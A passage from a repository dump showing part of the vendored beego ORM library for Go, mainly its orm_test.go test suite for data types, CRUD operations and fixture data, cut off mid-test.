reflect.ValueOf(refs[valueIndex]).Elem().Interface())\n\t\t\t}\n\t\t}\n\n\t\tcnt++\n\t}\n\n\tif typ == 1 {\n\t\tv, _ := container.(*Params)\n\t\t*v = maps\n\t}\n\n\treturn cnt, nil\n}\n\n// query data to []map[string]interface\nfunc (o *rawSet) Values(container *[]Params, cols ...string) (int64, error) {\n\treturn o.readValues(container, cols)\n}\n\n// query data to [][]interface\nfunc (o *rawSet) ValuesList(container *[]ParamsList, cols ...string) (int64, error) {\n\treturn o.readValues(container, cols)\n}\n\n// query data to []interface\nfunc (o *rawSet) ValuesFlat(container *ParamsList, cols ...string) (int64, error) {\n\treturn o.readValues(container, cols)\n}\n\n// query all rows into map[string]interface with specify key and value column name.\n// keyCol = \"name\", valueCol = \"value\"\n// table data\n// name  | value\n// total | 100\n// found | 200\n// to map[string]interface{}{\n// \t\"total\": 100,\n// \t\"found\": 200,\n// }\nfunc (o *rawSet) RowsToMap(result *Params, keyCol, valueCol string) (int64, error) {\n\treturn o.queryRowsTo(result, keyCol, valueCol)\n}\n\n// query all rows into struct with specify key and value column name.\n// keyCol = \"name\", valueCol = \"value\"\n// table data\n// name  | value\n// total | 100\n// found | 200\n// to struct {\n// \tTotal int\n// \tFound int\n// }\nfunc (o *rawSet) RowsToStruct(ptrStruct interface{}, keyCol, valueCol string) (int64, error) {\n\treturn o.queryRowsTo(ptrStruct, keyCol, valueCol)\n}\n\n// return prepared raw statement for used in times.\nfunc (o *rawSet) Prepare() (RawPreparer, error) {\n\treturn newRawPreparer(o)\n}\n\nfunc newRawSet(orm *orm, query string, args []interface{}) RawSeter {\n\to := new(rawSet)\n\to.query = query\n\to.args = args\n\to.orm = orm\n\treturn o\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/orm_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"bytes\"\n\t\"database/sql\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"math\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"reflect\"\n\t\"runtime\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n)\n\nvar _ = os.PathSeparator\n\nvar (\n\ttestDate     = formatDate + \" -0700\"\n\ttestDateTime = formatDateTime + \" -0700\"\n\ttestTime     = formatTime + \" -0700\"\n)\n\ntype argAny []interface{}\n\n// get interface by index from interface slice\nfunc (a argAny) Get(i int, args ...interface{}) (r interface{}) {\n\tif i >= 0 && i < len(a) {\n\t\tr = a[i]\n\t}\n\tif len(args) > 0 {\n\t\tr = args[0]\n\t}\n\treturn\n}\n\nfunc ValuesCompare(is bool, a interface{}, args ...interface{}) (ok bool, err error) {\n\tif len(args) == 0 {\n\t\treturn false, fmt.Errorf(\"miss args\")\n\t}\n\tb := args[0]\n\targ := argAny(args)\n\n\tswitch v := a.(type) {\n\tcase reflect.Kind:\n\t\tok = reflect.ValueOf(b).Kind() == v\n\tcase time.Time:\n\t\tif v2, vo := b.(time.Time); vo {\n\t\t\tif arg.Get(1) != nil {\n\t\t\t\tformat := ToStr(arg.Get(1))\n\t\t\t\ta = v.Format(format)\n\t\t\t\tb = v2.Format(format)\n\t\t\t\tok = a == b\n\t\t\t} else {\n\t\t\t\terr = fmt.Errorf(\"compare datetime miss format\")\n\t\t\t\tgoto wrongArg\n\t\t\t}\n\t\t}\n\tdefault:\n\t\tok = ToStr(a) == ToStr(b)\n\t}\n\tok = is && ok || !is && !ok\n\tif !ok {\n\t\tif is {\n\t\t\terr = fmt.Errorf(\"expected: `%v`, get `%v`\", b, a)\n\t\t} else {\n\t\t\terr = fmt.Errorf(\"expected: `%v`, get `%v`\", b, a)\n\t\t}\n\t}\n\nwrongArg:\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\treturn true, nil\n}\n\nfunc AssertIs(a interface{}, args ...interface{}) error {\n\tif ok, err := ValuesCompare(true, a, args...); !ok {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc AssertNot(a interface{}, args ...interface{}) error {\n\tif ok, err := ValuesCompare(false, a, args...); !ok {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc getCaller(skip int) string {\n\tpc, file, line, _ := runtime.Caller(skip)\n\tfun := runtime.FuncForPC(pc)\n\t_, fn := filepath.Split(file)\n\tdata, err := ioutil.ReadFile(file)\n\tvar codes []string\n\tif err == nil {\n\t\tlines := bytes.Split(data, []byte{'\\n'})\n\t\tn := 10\n\t\tfor i := 0; i < n; i++ {\n\t\t\to := line - n\n\t\t\tif o < 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tcur := o + i + 1\n\t\t\tflag := \"  \"\n\t\t\tif cur == line {\n\t\t\t\tflag = \">>\"\n\t\t\t}\n\t\t\tcode := fmt.Sprintf(\" %s %5d:   %s\", flag, cur, strings.Replace(string(lines[o+i]), \"\\t\", \"    \", -1))\n\t\t\tif code != \"\" {\n\t\t\t\tcodes = append(codes, code)\n\t\t\t}\n\t\t}\n\t}\n\tfunName := fun.Name()\n\tif i := strings.LastIndex(funName, \".\"); i > -1 {\n\t\tfunName = funName[i+1:]\n\t}\n\treturn fmt.Sprintf(\"%s:%s:%d: \\n%s\", fn, funName, line, strings.Join(codes, \"\\n\"))\n}\n\nfunc throwFail(t *testing.T, err error, args ...interface{}) {\n\tif err != nil {\n\t\tcon := fmt.Sprintf(\"\\t\\nError: %s\\n%s\\n\", err.Error(), getCaller(2))\n\t\tif len(args) > 0 {\n\t\t\tparts := make([]string, 0, len(args))\n\t\t\tfor _, arg := range args {\n\t\t\t\tparts = append(parts, fmt.Sprintf(\"%v\", arg))\n\t\t\t}\n\t\t\tcon += \" \" + strings.Join(parts, \", \")\n\t\t}\n\t\tt.Error(con)\n\t\tt.Fail()\n\t}\n}\n\nfunc throwFailNow(t *testing.T, err error, args ...interface{}) {\n\tif err != nil {\n\t\tcon := fmt.Sprintf(\"\\t\\nError: %s\\n%s\\n\", err.Error(), getCaller(2))\n\t\tif len(args) > 0 {\n\t\t\tparts := make([]string, 0, len(args))\n\t\t\tfor _, arg := range args {\n\t\t\t\tparts = append(parts, fmt.Sprintf(\"%v\", arg))\n\t\t\t}\n\t\t\tcon += \" \" + strings.Join(parts, \", \")\n\t\t}\n\t\tt.Error(con)\n\t\tt.FailNow()\n\t}\n}\n\nfunc TestGetDB(t *testing.T) {\n\tif db, err := GetDB(); err != nil {\n\t\tthrowFailNow(t, err)\n\t} else {\n\t\terr = db.Ping()\n\t\tthrowFailNow(t, err)\n\t}\n}\n\nfunc TestSyncDb(t *testing.T) {\n\tRegisterModel(new(Data), new(DataNull), new(DataCustom))\n\tRegisterModel(new(User))\n\tRegisterModel(new(Profile))\n\tRegisterModel(new(Post))\n\tRegisterModel(new(Tag))\n\tRegisterModel(new(Comment))\n\tRegisterModel(new(UserBig))\n\tRegisterModel(new(PostTags))\n\tRegisterModel(new(Group))\n\tRegisterModel(new(Permission))\n\tRegisterModel(new(GroupPermissions))\n\tRegisterModel(new(InLine))\n\tRegisterModel(new(InLineOneToOne))\n\tRegisterModel(new(IntegerPk))\n\tRegisterModel(new(UintPk))\n\tRegisterModel(new(PtrPk))\n\n\terr := RunSyncdb(\"default\", true, Debug)\n\tthrowFail(t, err)\n\n\tmodelCache.clean()\n}\n\nfunc TestRegisterModels(t *testing.T) {\n\tRegisterModel(new(Data), new(DataNull), new(DataCustom))\n\tRegisterModel(new(User))\n\tRegisterModel(new(Profile))\n\tRegisterModel(new(Post))\n\tRegisterModel(new(Tag))\n\tRegisterModel(new(Comment))\n\tRegisterModel(new(UserBig))\n\tRegisterModel(new(PostTags))\n\tRegisterModel(new(Group))\n\tRegisterModel(new(Permission))\n\tRegisterModel(new(GroupPermissions))\n\tRegisterModel(new(InLine))\n\tRegisterModel(new(InLineOneToOne))\n\tRegisterModel(new(IntegerPk))\n\tRegisterModel(new(UintPk))\n\tRegisterModel(new(PtrPk))\n\n\tBootStrap()\n\n\tdORM = NewOrm()\n\tdDbBaser = getDbAlias(\"default\").DbBaser\n}\n\nfunc TestModelSyntax(t *testing.T) {\n\tuser := &User{}\n\tind := reflect.ValueOf(user).Elem()\n\tfn := getFullName(ind.Type())\n\tmi, ok := modelCache.getByFullName(fn)\n\tthrowFail(t, AssertIs(ok, true))\n\n\tmi, ok = modelCache.get(\"user\")\n\tthrowFail(t, AssertIs(ok, true))\n\tif ok {\n\t\tthrowFail(t, AssertIs(mi.fields.GetByName(\"ShouldSkip\") == nil, true))\n\t}\n}\n\nvar DataValues = map[string]interface{}{\n\t\"Boolean\":  true,\n\t\"Char\":     \"char\",\n\t\"Text\":     \"text\",\n\t\"JSON\":     `{\"name\":\"json\"}`,\n\t\"Jsonb\":    `{\"name\": \"jsonb\"}`,\n\t\"Time\":     time.Now(),\n\t\"Date\":     time.Now(),\n\t\"DateTime\": time.Now(),\n\t\"Byte\":     byte(1<<8 - 1),\n\t\"Rune\":     rune(1<<31 - 1),\n\t\"Int\":      int(1<<31 - 1),\n\t\"Int8\":     int8(1<<7 - 1),\n\t\"Int16\":    int16(1<<15 - 1),\n\t\"Int32\":    int32(1<<31 - 1),\n\t\"Int64\":    int64(1<<63 - 1),\n\t\"Uint\":     uint(1<<32 - 1),\n\t\"Uint8\":    uint8(1<<8 - 1),\n\t\"Uint16\":   uint16(1<<16 - 1),\n\t\"Uint32\":   uint32(1<<32 - 1),\n\t\"Uint64\":   uint64(1<<63 - 1), // uint64 values with high bit set are not supported\n\t\"Float32\":  float32(100.1234),\n\t\"Float64\":  float64(100.1234),\n\t\"Decimal\":  float64(100.1234),\n}\n\nfunc TestDataTypes(t *testing.T) {\n\td := Data{}\n\tind := reflect.Indirect(reflect.ValueOf(&d))\n\n\tfor name, value := range DataValues {\n\t\tif name == \"JSON\" {\n\t\t\tcontinue\n\t\t}\n\t\te := ind.FieldByName(name)\n\t\te.Set(reflect.ValueOf(value))\n\t}\n\tid, err := dORM.Insert(&d)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(id, 1))\n\n\td = Data{ID: 1}\n\terr = dORM.Read(&d)\n\tthrowFail(t, err)\n\n\tind = reflect.Indirect(reflect.ValueOf(&d))\n\n\tfor name, value := range DataValues {\n\t\te := ind.FieldByName(name)\n\t\tvu := e.Interface()\n\t\tswitch name {\n\t\tcase \"Date\":\n\t\t\tvu = vu.(time.Time).In(DefaultTimeLoc).Format(testDate)\n\t\t\tvalue = value.(time.Time).In(DefaultTimeLoc).Format(testDate)\n\t\tcase \"DateTime\":\n\t\t\tvu = vu.(time.Time).In(DefaultTimeLoc).Format(testDateTime)\n\t\t\tvalue = value.(time.Time).In(DefaultTimeLoc).Format(testDateTime)\n\t\tcase \"Time\":\n\t\t\tvu = vu.(time.Time).In(DefaultTimeLoc).Format(testTime)\n\t\t\tvalue = value.(time.Time).In(DefaultTimeLoc).Format(testTime)\n\t\t}\n\t\tthrowFail(t, AssertIs(vu == value, true), value, vu)\n\t}\n}\n\nfunc TestNullDataTypes(t *testing.T) {\n\td := DataNull{}\n\n\tif IsPostgres {\n\t\t// can removed when this fixed\n\t\t// https://github.com/lib/pq/pull/125\n\t\td.DateTime = time.Now()\n\t}\n\n\tid, err := dORM.Insert(&d)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(id, 1))\n\n\tdata := `{\"ok\":1,\"data\":{\"arr\":[1,2],\"msg\":\"gopher\"}}`\n\td = DataNull{ID: 1, JSON: data}\n\tnum, err := dORM.Update(&d)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\td = DataNull{ID: 1}\n\terr = dORM.Read(&d)\n\tthrowFail(t, err)\n\n\tthrowFail(t, AssertIs(d.JSON, data))\n\n\tthrowFail(t, AssertIs(d.NullBool.Valid, false))\n\tthrowFail(t, AssertIs(d.NullString.Valid, false))\n\tthrowFail(t, AssertIs(d.NullInt64.Valid, false))\n\tthrowFail(t, AssertIs(d.NullFloat64.Valid, false))\n\n\tthrowFail(t, AssertIs(d.BooleanPtr, nil))\n\tthrowFail(t, AssertIs(d.CharPtr, nil))\n\tthrowFail(t, AssertIs(d.TextPtr, nil))\n\tthrowFail(t, AssertIs(d.BytePtr, nil))\n\tthrowFail(t, AssertIs(d.RunePtr, nil))\n\tthrowFail(t, AssertIs(d.IntPtr, nil))\n\tthrowFail(t, AssertIs(d.Int8Ptr, nil))\n\tthrowFail(t, AssertIs(d.Int16Ptr, nil))\n\tthrowFail(t, AssertIs(d.Int32Ptr, nil))\n\tthrowFail(t, AssertIs(d.Int64Ptr, nil))\n\tthrowFail(t, AssertIs(d.UintPtr, nil))\n\tthrowFail(t, AssertIs(d.Uint8Ptr, nil))\n\tthrowFail(t, AssertIs(d.Uint16Ptr, nil))\n\tthrowFail(t, AssertIs(d.Uint32Ptr, nil))\n\tthrowFail(t, AssertIs(d.Uint64Ptr, nil))\n\tthrowFail(t, AssertIs(d.Float32Ptr, nil))\n\tthrowFail(t, AssertIs(d.Float64Ptr, nil))\n\tthrowFail(t, AssertIs(d.DecimalPtr, nil))\n\tthrowFail(t, AssertIs(d.TimePtr, nil))\n\tthrowFail(t, AssertIs(d.DatePtr, nil))\n\tthrowFail(t, AssertIs(d.DateTimePtr, nil))\n\n\t_, err = dORM.Raw(`INSERT INTO data_null (boolean) VALUES (?)`, nil).Exec()\n\tthrowFail(t, err)\n\n\td = DataNull{ID: 2}\n\terr = dORM.Read(&d)\n\tthrowFail(t, err)\n\n\tbooleanPtr := true\n\tcharPtr := string(\"test\")\n\ttextPtr := string(\"test\")\n\tbytePtr := byte('t')\n\trunePtr := rune('t')\n\tintPtr := int(42)\n\tint8Ptr := int8(42)\n\tint16Ptr := int16(42)\n\tint32Ptr := int32(42)\n\tint64Ptr := int64(42)\n\tuintPtr := uint(42)\n\tuint8Ptr := uint8(42)\n\tuint16Ptr := uint16(42)\n\tuint32Ptr := uint32(42)\n\tuint64Ptr := uint64(42)\n\tfloat32Ptr := float32(42.0)\n\tfloat64Ptr := float64(42.0)\n\tdecimalPtr := float64(42.0)\n\ttimePtr := time.Now()\n\tdatePtr := time.Now()\n\tdateTimePtr := time.Now()\n\n\td = DataNull{\n\t\tDateTime:    time.Now(),\n\t\tNullString:  sql.NullString{String: \"test\", Valid: true},\n\t\tNullBool:    sql.NullBool{Bool: true, Valid: true},\n\t\tNullInt64:   sql.NullInt64{Int64: 42, Valid: true},\n\t\tNullFloat64: sql.NullFloat64{Float64: 42.42, Valid: true},\n\t\tBooleanPtr:  &booleanPtr,\n\t\tCharPtr:     &charPtr,\n\t\tTextPtr:     &textPtr,\n\t\tBytePtr:     &bytePtr,\n\t\tRunePtr:     &runePtr,\n\t\tIntPtr:      &intPtr,\n\t\tInt8Ptr:     &int8Ptr,\n\t\tInt16Ptr:    &int16Ptr,\n\t\tInt32Ptr:    &int32Ptr,\n\t\tInt64Ptr:    &int64Ptr,\n\t\tUintPtr:     &uintPtr,\n\t\tUint8Ptr:    &uint8Ptr,\n\t\tUint16Ptr:   &uint16Ptr,\n\t\tUint32Ptr:   &uint32Ptr,\n\t\tUint64Ptr:   &uint64Ptr,\n\t\tFloat32Ptr:  &float32Ptr,\n\t\tFloat64Ptr:  &float64Ptr,\n\t\tDecimalPtr:  &decimalPtr,\n\t\tTimePtr:     &timePtr,\n\t\tDatePtr:     &datePtr,\n\t\tDateTimePtr: &dateTimePtr,\n\t}\n\n\tid, err = dORM.Insert(&d)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(id, 3))\n\n\td = DataNull{ID: 3}\n\terr = dORM.Read(&d)\n\tthrowFail(t, err)\n\n\tthrowFail(t, AssertIs(d.NullBool.Valid, true))\n\tthrowFail(t, AssertIs(d.NullBool.Bool, true))\n\n\tthrowFail(t, AssertIs(d.NullString.Valid, true))\n\tthrowFail(t, AssertIs(d.NullString.String, \"test\"))\n\n\tthrowFail(t, AssertIs(d.NullInt64.Valid, true))\n\tthrowFail(t, AssertIs(d.NullInt64.Int64, 42))\n\n\tthrowFail(t, AssertIs(d.NullFloat64.Valid, true))\n\tthrowFail(t, AssertIs(d.NullFloat64.Float64, 42.42))\n\n\tthrowFail(t, AssertIs(*d.BooleanPtr, booleanPtr))\n\tthrowFail(t, AssertIs(*d.CharPtr, charPtr))\n\tthrowFail(t, AssertIs(*d.TextPtr, textPtr))\n\tthrowFail(t, AssertIs(*d.BytePtr, bytePtr))\n\tthrowFail(t, AssertIs(*d.RunePtr, runePtr))\n\tthrowFail(t, AssertIs(*d.IntPtr, intPtr))\n\tthrowFail(t, AssertIs(*d.Int8Ptr, int8Ptr))\n\tthrowFail(t, AssertIs(*d.Int16Ptr, int16Ptr))\n\tthrowFail(t, AssertIs(*d.Int32Ptr, int32Ptr))\n\tthrowFail(t, AssertIs(*d.Int64Ptr, int64Ptr))\n\tthrowFail(t, AssertIs(*d.UintPtr, uintPtr))\n\tthrowFail(t, AssertIs(*d.Uint8Ptr, uint8Ptr))\n\tthrowFail(t, AssertIs(*d.Uint16Ptr, uint16Ptr))\n\tthrowFail(t, AssertIs(*d.Uint32Ptr, uint32Ptr))\n\tthrowFail(t, AssertIs(*d.Uint64Ptr, uint64Ptr))\n\tthrowFail(t, AssertIs(*d.Float32Ptr, float32Ptr))\n\tthrowFail(t, AssertIs(*d.Float64Ptr, float64Ptr))\n\tthrowFail(t, AssertIs(*d.DecimalPtr, decimalPtr))\n\tthrowFail(t, AssertIs((*d.TimePtr).Format(testTime), timePtr.Format(testTime)))\n\tthrowFail(t, AssertIs((*d.DatePtr).Format(testDate), datePtr.Format(testDate)))\n\tthrowFail(t, AssertIs((*d.DateTimePtr).Format(testDateTime), dateTimePtr.Format(testDateTime)))\n}\n\nfunc TestDataCustomTypes(t *testing.T) {\n\td := DataCustom{}\n\tind := reflect.Indirect(reflect.ValueOf(&d))\n\n\tfor name, value := range DataValues {\n\t\te := ind.FieldByName(name)\n\t\tif !e.IsValid() {\n\t\t\tcontinue\n\t\t}\n\t\te.Set(reflect.ValueOf(value).Convert(e.Type()))\n\t}\n\n\tid, err := dORM.Insert(&d)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(id, 1))\n\n\td = DataCustom{ID: 1}\n\terr = dORM.Read(&d)\n\tthrowFail(t, err)\n\n\tind = reflect.Indirect(reflect.ValueOf(&d))\n\n\tfor name, value := range DataValues {\n\t\te := ind.FieldByName(name)\n\t\tif !e.IsValid() {\n\t\t\tcontinue\n\t\t}\n\t\tvu := e.Interface()\n\t\tvalue = reflect.ValueOf(value).Convert(e.Type()).Interface()\n\t\tthrowFail(t, AssertIs(vu == value, true), value, vu)\n\t}\n}\n\nfunc TestCRUD(t *testing.T) {\n\tprofile := NewProfile()\n\tprofile.Age = 30\n\tprofile.Money = 1234.12\n\tid, err := dORM.Insert(profile)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(id, 1))\n\n\tuser := NewUser()\n\tuser.UserName = \"slene\"\n\tuser.Email = \"vslene@gmail.com\"\n\tuser.Password = \"pass\"\n\tuser.Status = 3\n\tuser.IsStaff = true\n\tuser.IsActive = true\n\n\tid, err = dORM.Insert(user)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(id, 1))\n\n\tu := &User{ID: user.ID}\n\terr = dORM.Read(u)\n\tthrowFail(t, err)\n\n\tthrowFail(t, AssertIs(u.UserName, \"slene\"))\n\tthrowFail(t, AssertIs(u.Email, \"vslene@gmail.com\"))\n\tthrowFail(t, AssertIs(u.Password, \"pass\"))\n\tthrowFail(t, AssertIs(u.Status, 3))\n\tthrowFail(t, AssertIs(u.IsStaff, true))\n\tthrowFail(t, AssertIs(u.IsActive, true))\n\tthrowFail(t, AssertIs(u.Created.In(DefaultTimeLoc), user.Created.In(DefaultTimeLoc), testDate))\n\tthrowFail(t, AssertIs(u.Updated.In(DefaultTimeLoc), user.Updated.In(DefaultTimeLoc), testDateTime))\n\n\tuser.UserName = \"astaxie\"\n\tuser.Profile = profile\n\tnum, err := dORM.Update(user)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tu = &User{ID: user.ID}\n\terr = dORM.Read(u)\n\tthrowFailNow(t, err)\n\tthrowFail(t, AssertIs(u.UserName, \"astaxie\"))\n\tthrowFail(t, AssertIs(u.Profile.ID, profile.ID))\n\n\tu = &User{UserName: \"astaxie\", Password: \"pass\"}\n\terr = dORM.Read(u, \"UserName\")\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(id, 1))\n\n\tu.UserName = \"QQ\"\n\tu.Password = \"111\"\n\tnum, err = dORM.Update(u, \"UserName\")\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tu = &User{ID: user.ID}\n\terr = dORM.Read(u)\n\tthrowFailNow(t, err)\n\tthrowFail(t, AssertIs(u.UserName, \"QQ\"))\n\tthrowFail(t, AssertIs(u.Password, \"pass\"))\n\n\tnum, err = dORM.Delete(profile)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tu = &User{ID: user.ID}\n\terr = dORM.Read(u)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(true, u.Profile == nil))\n\n\tnum, err = dORM.Delete(user)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tu = &User{ID: 100}\n\terr = dORM.Read(u)\n\tthrowFail(t, AssertIs(err, ErrNoRows))\n\n\tub := UserBig{}\n\tub.Name = \"name\"\n\tid, err = dORM.Insert(&ub)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(id, 1))\n\n\tub = UserBig{ID: 1}\n\terr = dORM.Read(&ub)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(ub.Name, \"name\"))\n\n\tnum, err = dORM.Delete(&ub, \"name\")\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n}\n\nfunc TestInsertTestData(t *testing.T) {\n\tvar users []*User\n\n\tprofile := NewProfile()\n\tprofile.Age = 28\n\tprofile.Money = 1234.12\n\n\tid, err := dORM.Insert(profile)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(id, 2))\n\n\tuser := NewUser()\n\tuser.UserName = \"slene\"\n\tuser.Email = \"vslene@gmail.com\"\n\tuser.Password = \"pass\"\n\tuser.Status = 1\n\tuser.IsStaff = false\n\tuser.IsActive = true\n\tuser.Profile = profile\n\n\tusers = append(users, user)\n\n\tid, err = dORM.Insert(user)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(id, 2))\n\n\tprofile = NewProfile()\n\tprofile.Age = 30\n\tprofile.Money = 4321.09\n\n\tid, err = dORM.Insert(profile)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(id, 3))\n\n\tuser = NewUser()\n\tuser.UserName = \"astaxie\"\n\tuser.Email = \"astaxie@gmail.com\"\n\tuser.Password = \"password\"\n\tuser.Status = 2\n\tuser.IsStaff = true\n\tuser.IsActive = false\n\tuser.Profile = profile\n\n\tusers = append(users, user)\n\n\tid, err = dORM.Insert(user)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(id, 3))\n\n\tuser = NewUser()\n\tuser.UserName = \"nobody\"\n\tuser.Email = \"nobody@gmail.com\"\n\tuser.Password = \"nobody\"\n\tuser.Status = 3\n\tuser.IsStaff = false\n\tuser.IsActive = false\n\n\tusers = append(users, user)\n\n\tid, err = dORM.Insert(user)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(id, 4))\n\n\ttags := []*Tag{\n\t\t{Name: \"golang\", BestPost: &Post{ID: 2}},\n\t\t{Name: \"example\"},\n\t\t{Name: \"format\"},\n\t\t{Name: \"c++\"},\n\t}\n\n\tposts := []*Post{\n\t\t{User: users[0], Tags: []*Tag{tags[0]}, Title: \"Introduction\", Content: `Go is a new language. Although it borrows ideas from existing languages, it has unusual properties that make effective Go programs different in character from programs written in its relatives. A straightforward translation of a C++ or Java program into Go is unlikely to produce a satisfactory result—Java programs are written in Java, not Go. On the other hand, thinking about the problem from a Go perspective could produce a successful but quite different program. In other words, to write Go well, it's important to understand its properties and idioms. It's also important to know the established conventions for programming in Go, such as naming, formatting, program construction, and so on, so that programs you write will be easy for other Go programmers to understand.\nThis document gives tips for writing clear, idiomatic Go code. It augments the language specification, the Tour of Go, and How to Write Go Code, all of which you should read first.`},\n\t\t{User: users[1], Tags: []*Tag{tags[0], tags[1]}, Title: \"Examples\", Content: `The Go package sources are intended to serve not only as the core library but also as examples of how to use the language. Moreover, many of the packages contain working, self-contained executable examples you can run directly from the golang.org web site, such as this one (click on the word \"Example\" to open it up). If you have a question about how to approach a problem or how something might be implemented, the documentation, code and examples in the library can provide answers, ideas and background.`},\n\t\t{User: users[1], Tags: []*Tag{tags[0], tags[2]}, Title: \"Formatting\", Content: `Formatting issues are the most contentious but the least consequential. People can adapt to different formatting styles but it's better if they don't have to, and less time is devoted to the topic if everyone adheres to the same style. The problem is how to approach this Utopia without a long prescriptive style guide.\nWith Go we take an unusual approach and let the machine take care of most formatting issues. The gofmt program (also available as go fmt, which operates at the package level rather than source file level) reads a Go program and emits the source in a standard style of indentation and vertical alignment, retaining and if necessary reformatting comments. If you want to know how to handle some new layout situation, run gofmt; if the answer doesn't seem right, rearrange your program (or file a bug about gofmt), don't work around it.`},\n\t\t{User: users[2], Tags: []*Tag{tags[3]}, Title: \"Commentary\", Content: `Go provides C-style /* */ block comments and C++-style // line comments. Line comments are the norm; block comments appear mostly as package comments, but are useful within an expression or to disable large swaths of code.\nThe program—and web server—godoc processes Go source files to extract documentation about the contents of the package. Comments that appear before top-level declarations, with no intervening newlines, are extracted along with the declaration to serve as explanatory text for the item. The nature and style of these comments determines the quality of the documentation godoc produces.`},\n\t}\n\n\tcomments := []*Comment{\n\t\t{Post: posts[0], Content: \"a comment\"},\n\t\t{Post: posts[1], Content: \"yes\"},\n\t\t{Post: posts[1]},\n\t\t{Post: posts[1]},\n\t\t{Post: posts[2]},\n\t\t{Post: posts[2]},\n\t}\n\n\tfor _, tag := range tags {\n\t\tid, err := dORM.Insert(tag)\n\t\tthrowFail(t, err)\n\t\tthrowFail(t, AssertIs(id > 0, true))\n\t}\n\n\tfor _, post := range posts {\n\t\tid, err := dORM.Insert(post)\n\t\tthrowFail(t, err)\n\t\tthrowFail(t, AssertIs(id > 0, true))\n\n\t\tnum := len(post.Tags)\n\t\tif num > 0 {\n\t\t\tnums, err := dORM.QueryM2M(post, \"tags\").Add(post.Tags)\n\t\t\tthrowFailNow(t, err)\n\t\t\tthrowFailNow(t, AssertIs(nums, num))\n\t\t}\n\t}\n\n\tfor _, comment := range comments {\n\t\tid, err := dORM.Insert(comment)\n\t\tthrowFail(t, err)\n\t\tthrowFail(t, AssertIs(id > 0, true))\n\t}\n\n\tpermissions := []*Permission{\n\t\t{Name: \"writePosts\"},\n\t\t{Name: \"readComments\"},\n\t\t{Name: \"readPosts\"},\n\t}\n\n\tgroups := []*Group{\n\t\t{\n\t\t\tName:        \"admins\",\n\t\t\tPermissions: []*Permission{permissions[0], permissions[1], permissions[2]},\n\t\t},\n\t\t{\n\t\t\tName:        \"users\",\n\t\t\tPermissions: []*Permission{permissions[1], permissions[2]},\n\t\t},\n\t}\n\n\tfor _, permission := range permissions {\n\t\tid, err := dORM.Insert(permission)\n\t\tthrowFail(t, err)\n\t\tthrowFail(t, AssertIs(id > 0, true))\n\t}\n\n\tfor _, group := range groups {\n\t\t_, err := dORM.Insert(group)\n\t\tthrowFail(t, err)\n\t\tthrowFail(t, AssertIs(id > 0, true))\n\n\t\tnum := len(group.Permissions)\n\t\tif num > 0 {\n\t\t\tnums, err := dORM.QueryM2M(group, \"permissions\").Add(group.Permissions)\n\t\t\tthrowFailNow(t, err)\n\t\t\tthrowFailNow(t, AssertIs(nums, num))\n\t\t}\n\t}\n\n}\n\nfunc TestCustomField(t *testing.T) {\n\tuser := User{ID: 2}\n\terr := dORM.Read(&user)\n\tthrowFailNow(t, err)\n\n\tuser.Langs = append(user.Langs, \"zh-CN\", \"en-US\")\n\tuser.Extra.Name = \"beego\"\n\tuser.Extra.Data = \"orm\"\n\t_, err = dORM.Update(&user, \"Langs\", \"Extra\")\n\tthrowFailNow(t, err)\n\n\tuser = User{ID: 2}\n\terr = dORM.Read(&user)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(len(user.Langs), 2))\n\tthrowFailNow(t, AssertIs(user.Langs[0], \"zh-CN\"))\n\tthrowFailNow(t, AssertIs(user.Langs[1], \"en-US\"))\n\n\tthrowFailNow(t, AssertIs(user.Extra.Name, \"beego\"))\n\tthrowFailNow(t, AssertIs(user.Extra.Data, \"orm\"))\n}\n\nfunc TestExpr(t *testing.T) {\n\tuser := &User{}\n\tqs := dORM.QueryTable(user)\n\tqs = dORM.QueryTable((*User)(nil))\n\tqs = dORM.QueryTable(\"User\")\n\tqs = dORM.QueryTable(\"user\")\n\tnum, err := qs.Filter(\"UserName\", \"slene\").Filter(\"user_name\", \"slene\").Filter(\"profile__Age\", 28).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tnum, err = qs.Filter(\"created\", time.Now()).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 3))\n\n\t// num, err = 